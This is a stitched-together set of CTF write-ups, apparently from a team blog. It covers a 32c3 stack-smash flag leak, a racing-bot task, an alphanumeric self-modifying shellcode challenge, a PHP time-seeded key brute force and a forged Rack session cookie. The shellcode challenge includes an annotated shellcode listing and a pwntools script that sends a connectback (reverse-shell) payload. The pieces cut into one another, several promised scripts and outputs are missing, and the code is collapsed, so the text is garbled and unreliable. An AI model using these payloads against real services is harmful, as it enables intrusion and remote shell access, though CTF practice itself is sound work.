This is a write-up of the readme challenge from the 32c3 CTF
The Challenge
This was a pwnable binary with with the flag baked into it, which you could see if you ran:
The flag is located at 0x600d20 in the .data section.
The challenge was very simple, it was a service witch gets your name onto the stack,
and then it asks you to over write the flag at 0x600d20
The Solution
First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20 but only the flag in the .data section gets overwritten.
So locally we could get it printed simply by smashing our stack all the way upto argv,
and then let _stack_chk_fail print it for us.
which prints when executed:
however this does not work remotely, this is becuase _stack_chk_fail calls __fortify_fail which calls __lib_message which does this:
which means that we only need to set LIBC_FATAL_STDERR_ and the flag will get printed over stderr instead of /dev/tty.
In the 3 point challenge in the OMGACM (“guerilla programming”) track, we were given a server to connect to. Connecting to this service, it quickly became clear, that the point of the challenge was to write a program to maneuver a car through a simple ASCII racing track, while avoiding obstacles on the road (zebras, cars, …).
To do this, we simply started at the location of our own car and did a depth-first search up to the top of the screen. As soon as we had a viable path, we drive 5 spaces along this path, and process the next board.
In order to make it a bit more interesting and fun, we also added some pretty colors to make it more interesting to watch on rather slow servers.
The final script we ended up with, pretty colors and all, was this:
First the length of what was about to be received should be sent, with the added requirement that the length could not exceed 0x1000 bytes.
Then a buffer of that size was malloc’ed and received into.
mmap was used to make room for a buffer twice the size of the input and the received input was copied into the mmap’ed memory.
This was however just a decoy, as both buffers were passed on to a function located at 0x40124c, which copied each byte from the malloced into every second position of the mmapped buffer. The spaces were filled with null bytes, so if 41414141 was sent to the server, the mmap’ed buffer would contain 4100410041004100.
Two cases would stop this copying:
1. if one of the bytes were less than 0x1f (with the exception of '\n'). This was a hard restriction because it would cause the function to return -1 and stop running.
2. if a null byte was encountered or if the buffer was filled the copying would stop, but the rest of the program would continue running.
If the function returns correctly, the program will call the mmap’ed buffer.
So first there is a need to craft shellcode, in which each second byte is a null byte and no byte value is less than 0x1f or larger than 7f (signed compare).
There is however some good news, as the stack contained goodies. A pointer to the forgotten lands (the malloc’ed buffer) is located on the stack, free has been called on it, but the later portions of the received data is still there.
With this in mind, we needed to craft shellcode to do the following:
1. Retrieve the pointer
2. Add some offset
3. Jump to the modified pointer
As all jumps have opcodes with values above 0x7f, we needed to change the last requirement into writing some code that makes some self-modifying shellcode.
00000000 59 pop rcx
00000001 004500 add [rbp+0x0],al ;JUNK
00000004 59 pop rcx
00000005 004500 add [rbp+0x0],al ;JUNK
00000008 59 pop rcx
00000009 004500 add [rbp+0x0],al ;JUNK
0000000C 59 pop rcx
0000000D 004500 add [rbp+0x0],al ;JUNK
00000010 5F pop rdi ; rdi now contains
00000011 004500 add [rbp+0x0],al ;JUNK
00000014 54 push rsp
00000015 004500 add [rbp+0x0],al ;JUNK
00000018 5B pop rbx
00000019 004500 add [rbp+0x0],al ;JUNK
0000001C 59 pop rcx ; rbx now points at any value pushed to the stack
0000001D 004500 add [rbp+0x0],al ;JUNK
00000020 6800560041 push dword 0x41005600 ; 56 is the offset to 7f
00000025 004500 add [rbp+0x0],al ;JUNK
00000028 59 pop rcx; ch contains 56
00000029 004500 add [rbp+0x0],al ;JUNK
0000002C 52 push rdx ; rdx contains a pointer to this code
0000002D 002B add [rbx],ch;
0000002F 004500 add [rbp+0x0],al ;JUNK
00000032 5E pop rsi; rsi = pointer to 7f
00000033 004500 add [rbp+0x0],al ;JUNK
00000036 6800440041 push dword 0x41004400 ; 44+7f = ret
0000003B 004500 add [rbp+0x0],al ;JUNK
0000003E 59 pop rcx
0000003F 002E add [rsi],ch ; write the ret
00000041 004500 add [rbp+0x0],al ;JUNK
00000044 68002D0041 push dword 0x41002d00; offset into the "real" shellcode
00000049 004500 add [rbp+0x0],al ;JUNK
0000004C 58 pop rax
0000004D 004500 add [rbp+0x0],al ;JUNK
00000050 57 push rdi
00000051 0023 add [rbx],ah; add the offset to the malloced pointer
00000053 004500 add [rbp+0x0],al ;JUNK
00000056 7F db 0x7f
All there is left to do now is to make the final python script:
frompwnimport*splash()context('amd64','linux','ipv4')HOST='127.0.0.1'PORT=8273MY_HOST='127.0.0.1'MY_PORT=1337sock=remote(HOST,PORT)payload=''withopen('init.asm')asinit:payload+=asm(init.read())assert(payload)ifany(x<>0forxinpayload[1::2]):print"you dear sir, have failed"exit(-1)payload=payload[::2]payload+=chr(0)payload+=asm(shellcode.connectback(MY_HOST,MY_PORT))sock.send(p32(len(payload)))sock.send(payload)
From the shell:
cat key
The key is: TBDHelloooookdkdkiekdiekdiek
Taking a look at getfile.php through itself revealed the following:
<?php$value=time();$filename=$_GET["filename"];$accesscode=$_GET["accesscode"];if(md5($filename)==$accesscode){echo"Acces granted to $filename!<br><br>";srand($value);if(in_array($filename,array('getfile.php','index.html','key.txt','login.php','passwords.txt','usernames.txt'))==TRUE){$data=file_get_contents($filename);if($data!==FALSE){if($filename=="key.txt"){$key=rand();$cyphertext=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$data,MCRYPT_MODE_CBC);echobase64_encode($cyphertext);}else{echonl2br($data);}}else{echo"File does not exist";}}else{echo"File does not exist";}}else{echo"Invalid access code";}?></body></html>
Here we see, that the key must be stored in key.txt, and that it is encrypted with a random number, seeded based on the timestamp.
We then downloaded the key, as well as the approximate local timestamp, using the following command:
wget -O cryptotext 'http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453' && date +%s > date
Guessing that the timestamp would probably be within +- 10 seconds of the server’s timestamp, we used the following script to try all the options:
We are greeted by a login box, as well as a link to some secrets.
Picking an unused username allows for login to the secrets listing.
On the list, one secret in particular stands out; the one titled “key”, posted by “admin”. Attempting to access it, however, reveals a runtime error with a stack trace. In the stack trace, one can see, that the only the user that posted a secret can view it.
A bit of a read through the error page shows, that the page runs on Rack. The page also shows, that the cookie contains, among other things, the username of the current user. (In fact, anything stored in the rack.session variable, see the relevant implementation) However, this cookie is signed based on a site secret.
Luckily, the runtime error was also nice enough to leak this for us. This allowed us to write the following script, which takes a valid cookie, and rewrites it to have username admin.